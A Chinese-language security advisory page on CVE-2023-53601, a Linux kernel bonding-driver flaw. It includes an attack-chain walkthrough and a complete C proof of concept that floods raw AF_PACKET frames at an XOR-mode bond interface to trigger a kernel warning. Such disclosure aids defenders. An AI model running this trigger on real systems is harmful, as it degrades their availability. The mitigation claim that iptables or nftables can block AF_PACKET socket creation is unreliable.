IPBUF安全漏洞报告
English
CVE-2023-53601 CVSS 5.5 中危

CVE-2023-53601 Linux内核bonding驱动空指针引用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53601
漏洞类型
空指针引用/内核断言失败
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernelbonding驱动空指针引用本地拒绝服务内核漏洞AF_PACKET网络驱动ndo_start_xmitmac_headersyzkaller

漏洞概述

CVE-2023-53601是Linux内核bonding(网络绑定)驱动中的一个安全漏洞。该漏洞源于bonding驱动在其ndo_start_xmit()网络设备发送函数中错误地假设了skb(socket buffer)的mac_header已被正确设置。当通过AF_PACKET原始套接字发送数据包时,由于未经过正常的网络协议栈处理流程,skb的mac_header可能未被初始化或设置,导致在调用skb_mac_offset()宏时触发内核警告(WARNING)并可能导致系统不稳定。

该漏洞由syzkaller模糊测试工具发现,在Linux内核6.1.30版本中被捕获。漏洞触发时会在skbuff.h的skb_mac_offset处产生内核警告信息,调用链涉及bond_xmit_hash、bond_xmit_3ad_slave_get、bond_3ad_xor_xmit以及__bond_start_xmit等关键函数。虽然CVSS评分为5.5分(中等严重程度),但该漏洞可导致系统可用性受损,在特定配置下可能引发拒绝服务攻击。受影响的场景包括使用bonding驱动的3AD XOR模式的系统。

技术细节

从技术层面分析,该漏洞的根本原因在于Linux内核网络子系统中skb结构体的mac_header字段使用约定。正常情况下,当数据包经过网络协议栈时,内核会调用skb_reset_mac_header()来设置mac_header指向以太网帧头。然而,通过AF_PACKET套接字使用packet_direct_xmit路径直接发送数据包时,可能不会设置mac_header。

在bonding驱动的bond_3ad_xor_xmit函数中,调用链依次为:__bond_start_xmit -> bond_3ad_xor_xmit -> bond_xmit_3ad_xor_slave_get -> bond_xmit_hash。在bond_xmit_hash函数中(drivers/net/bonding/bond_main.c:4170),代码调用了skb_mac_offset(skb)宏,该宏内部访问skb->mac_header字段。当mac_header未被设置时,宏内部的检查条件skb_mac_header_was_set(skb)返回false,触发BUG_ON或WARN_ON断言,导致内核打印警告信息。

利用方式:攻击者需要本地低权限访问权限,通过创建AF_PACKET套接字并发送特定构造的数据包到配置为3AD XOR模式的bonding接口即可触发该漏洞。漏洞的CVSS向量为CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H,表明这是一个本地攻击、低复杂度、低权限要求的漏洞,主要影响系统可用性。修复方案是使用skb->data直接访问数据,而非依赖mac_header字段。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在目标系统上配置bonding网络接口,并将其设置为3AD XOR模式(balance-xor模式),同时确保系统运行受影响版本的Linux内核(6.1.x系列)。
STEP 2
步骤2:创建原始套接字
攻击者以低权限用户身份创建AF_PACKET类型的原始套接字(需要CAP_NET_RAW权限),该套接字允许直接发送链路层数据包而不经过正常协议栈处理。
STEP 3
步骤3:构造数据包
构造一个标准的以太网帧,设置目标MAC地址、源MAC地址和协议类型,数据包将通过packet_direct_xmit路径发送。
STEP 4
步骤4:发送数据包到bonding接口
通过sendto系统调用将数据包直接发送到bonding接口。packet_direct_xmit路径不会调用skb_reset_mac_header(),导致skb的mac_header字段未被设置。
STEP 5
步骤5:触发内核断言
bonding驱动的__bond_start_xmit -> bond_3ad_xor_xmit -> bond_xmit_3ad_xor_slave_get -> bond_xmit_hash调用链中,bond_xmit_hash调用skb_mac_offset宏访问未设置的mac_header,触发内核WARN_ON警告,可能导致系统不稳定或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53601 PoC - Trigger bonding driver mac_header warning // This PoC triggers the vulnerability by sending packets via AF_PACKET // to a bonding interface configured in 3AD XOR mode #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <linux/if_ether.h> #include <net/if.h> #include <sys/ioctl.h> #include <arpa/inet.h> int main(int argc, char *argv[]) { int sockfd; struct sockaddr_ll sa; struct ifreq ifr; char sendbuf[ETH_FRAME_LEN]; struct ethhdr *eth = (struct ethhdr *)sendbuf; if (argc < 2) { fprintf(stderr, "Usage: %s <bond_interface>\n", argv[0]); fprintf(stderr, "Example: %s bond0\n", argv[0]); return 1; } // Create AF_PACKET raw socket sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sockfd < 0) { perror("socket"); return 1; } // Get interface index memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &ifr) < 0) { perror("ioctl SIOCGIFINDEX"); close(sockfd); return 1; } // Setup sockaddr_ll for packet socket memset(&sa, 0, sizeof(sa)); sa.sll_family = AF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = ifr.ifr_ifindex; sa.sll_halen = ETH_ALEN; // Construct minimal ethernet frame memset(eth->h_dest, 0xff, ETH_ALEN); // Broadcast destination memset(eth->h_source, 0x00, ETH_ALEN); // Source MAC eth->h_proto = htons(ETH_P_IP); memset(sendbuf + sizeof(struct ethhdr), 0, ETH_FRAME_LEN - sizeof(struct ethhdr)); printf("Sending packets to bonding interface %s...\n", argv[1]); printf("This should trigger skb_mac_offset warning in kernel log.\n"); // Send packets to trigger the vulnerability // The packet_direct_xmit path will not set mac_header, // causing bond_xmit_hash to access uninitialized mac_header for (int i = 0; i < 10; i++) { if (sendto(sockfd, sendbuf, ETH_FRAME_LEN, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("sendto"); } } printf("Done. Check dmesg for kernel warnings.\n"); close(sockfd); return 0; }

影响范围

Linux Kernel 6.1.x(6.1.30及之前的6.1系列)
Linux Kernel 6.2.x
Linux Kernel 6.3.x
Linux Kernel 6.4.x
Linux Kernel 6.5.x
Linux Kernel 5.15.x(长期支持版本)
Linux Kernel 5.10.x(长期支持版本)
Linux Kernel 5.4.x(长期支持版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)如果系统未使用bonding网络绑定功能,可以临时禁用bonding模块(rmmod bonding)以避免触发该漏洞;2)如果必须使用bonding功能,将bonding模式从balance-xor(mode 2)切换到其他不涉及3AD XOR的负载均衡模式,如active-backup(mode 1)或balance-tlb(mode 5);3)通过iptables或nftables规则限制非特权用户创建AF_PACKET套接字的能力;4)监控系统可用性指标,及时发现异常。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表